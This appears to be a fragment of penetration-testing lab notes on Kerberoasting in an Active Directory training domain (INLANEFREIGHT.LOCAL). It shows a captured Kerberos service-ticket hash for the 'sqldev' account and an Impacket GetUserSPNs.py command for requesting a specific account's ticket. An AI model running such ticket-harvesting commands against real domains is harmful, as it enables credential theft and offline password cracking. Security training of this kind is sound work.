19d3ea7f3839d9e354cfcff63161766d1dd5d200711518660b2d4770799c5a68416078123a4485d4f4d34de9fbd12a38231b5444087b7479abcbdd8389102f9b7f0d9f5b9cc56255d0549fc9a6447143ae7d77ba6a75b657c38a4c5fb1473596482dfdb1684664a266f
69ea14785e96390f983b140c83169e909def8d6a6e7e376a1170bbaa250b33b04942dcb908ae2841be681810d97bad319f005349b5fe21fe51dd0f18d7baae361e874954d1f973db2dd478106b1908128b1c32d602b6c1c698e1275b03139b541366b0800c1ee2
b27761bb4e38100b09460b4c40bd1dbelcaeb9a430c34c3ca727a544f7553d6d2fd5a71032e6b914972ae532c988190d2d7c9385791da26b1f640005a37c0dc7b57d0204b877eb66ffa3e9cb2feda2dd5cc7f3501de9c0e66da7f99c9b09aae2e2c01c3bc62e9764c59
a4411618dca0340017374b9f285cb51299c84cec97073a9012e651d1e47c1235b65fd27ed93d64541d445ec5613263dcff60351d768879ad029d3adcd6b69041fc959e0a00843c05705f9bc80134e8ff18fde968a8e5ee407f05920a7f9ac7f5644307a37b235e000c2
77893ba52ef3cd65694df6dbd7f843a0cbfbfb74b94f3d5d371a023ad71c3c2d93445638d7002bdf35eaae2a76ebec5553c36ba0f00fe9ff15632c9277e070c0b1f4adac883183ae2b9b4f95bda89f8ec0b87ee24927e9c51ab2bc9f2918543314b28d13259b462b5a
ca4d13a8827f7d9b9ac7665145828d61056732595dc4a41974f7f58716b586866fa01c4a9e47f770ce08ad47f35ab3c3b97fc49f991bd8109d514673e93fa36a5410fd75df9676cf95be9001153318f0dda158957e9e508c2114bb4d4cc8bd75b0924ca15fa250cae47f6
ebf23a70a13135ff59f21a420ce689f1ef672ae44d144a2f2232fe2cd07189c477d29692de41ea274eb8b7d4fc02153f3745fe0baad3c03b2cc6fb9951942efdc7f72fbec039c61e85571f455e05db8c82d828c141fe31cad8c10ed632ae02ec08d6587f2fa75ac5907a
1aef7a7017a77f3d6c8e9fa0bb5516f689cc2000ba59518ff8a13aac514182156bd025aac504878c7661e6dd0f5798ccdfc1e3a3d4abf0add1a1f6b0da15174a81051a69032784ea842173a3737e7d7be92565f6b1ace91580baa14a653f166d0d9a3b3c761d1ef7f60fe50b7
0580b8fec6a7f4d0db108a810b46069e9ade54
3kzbt5tgs*2335*sqldev$INLANEFREIGHT.LOCAL\sqldev*$1a5600d8937ff5ba0e307b37c630be5e807c565780b58c2f2f6b6cd41a1ef92cddb04f4ec347e6fc9f62ae5bc36482b6c59af2b876015da2ed187312fe5cb759383dffc0e84edc282c
658a6e27c320ba4b10d6f726b8d27449ac1b2608c14e6b8a6282526beeca722b38bab37f006ebdb9f932fc7815e9ff6e42b6d1f654e6453e1bbdbb0a47e3b729e578158dc5588c10dc38c7a2ef09f6167e7ea126c444bcbfde9085801fa5b756c2fb17
170892cc49f3259e3af7712221069255f0443527114f7080496071baefc03f13bb1db5e70e11b2e57c966525304cd4046e13baec9f3abaf55220b75cad530011a0d1df1af48a6c791a4e6c858266d8058d385456827384a34fc00e16d4580ba0ee4d36a1
bf16065ee632950d0df744c8a206d41bfa3634af89aa12230c9f75daaf0c31c073b132f93dc9da39dc0cadfae7aa13c18d1e7d88b1e7053b5d5f06305da956a0df25b7a35262476afe60b7fc247f8080e23e715836ae8292c3a68f60e0d13c481a6c1dca4716386fe1
ff633162c231faa7faabf8547590f80e05a115697ab9200b7fd656a4754b88289bfe0de1f80b940f89125fc1fbb5c26b362e5d97a2ffec1436c0ff9d61e9c4756a149f348737c42bbd0774783814f8757925b10916a48d1ad9741d8ed789603fa616eba0a123d0b04
c9809162c231faa7faabf8547590f80e05a115697ab9200b7fd656a4754b88289bfe0de1f80b940f89125fc1fbb5c26b362e5d97a2ffec1436c0ff9d61e9c4756a149f348737c42bbd0774783814f8757925b10916a48d1ad9741d8ed789603fa616eba0a123d0b04
b965b610208044138f12979d29f6116d6e3b7e280ad2629c0fb1e1506d88588eac0f48f64945addcfda727bfc1c6939c7342f6088a6f6977b9a083b3c1877c929308c40476b7d41c113489fa119020f61d562ff726c108bed46b72c55f9a9e2bd439ad536300a0afced
f53e0f9080c0aff469aebf7880247ff65ca443762b66e0b94aa1964a10f08589e7c082cd77ef1eb84fdbbb5323f6eab2fa035f5d93961cfd769badbebc48e5de51fa10dfff4b6e103f242822f1797c9f491ff8b3843087fc85e15f86130d624cafa5fce5a053eb0226c8d0
f0a7cf8bbec037f09b64e1210954c9eb46822b6d775fd88f6e4c620167950d1acd8faaf49f32338adfa5e6eb448902056ad6f162110624abc382f4320208c0a8a836b43581ffd3d41c8b489cb5a1977de7f199f91e9f53a26f3d810ebaad66a761c55a53327b621e53486
3c97113459592a16162e06d0898697990168086dc85c0c6cd280a4451e90bedc7f0e0da4f6808539c032ee319b5e22320d0d3c83cce14fd578532099918ba359fdeca68cbf9a85fac5eb8085840936fd31648892da6b8a5339cf947dc0b166c98cc14ad517ec39e09967754
5ec48c18a58167a516700810646f8fca470a8f02
```

if we need spacefic TGS

```
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev -request-user
SAPService
```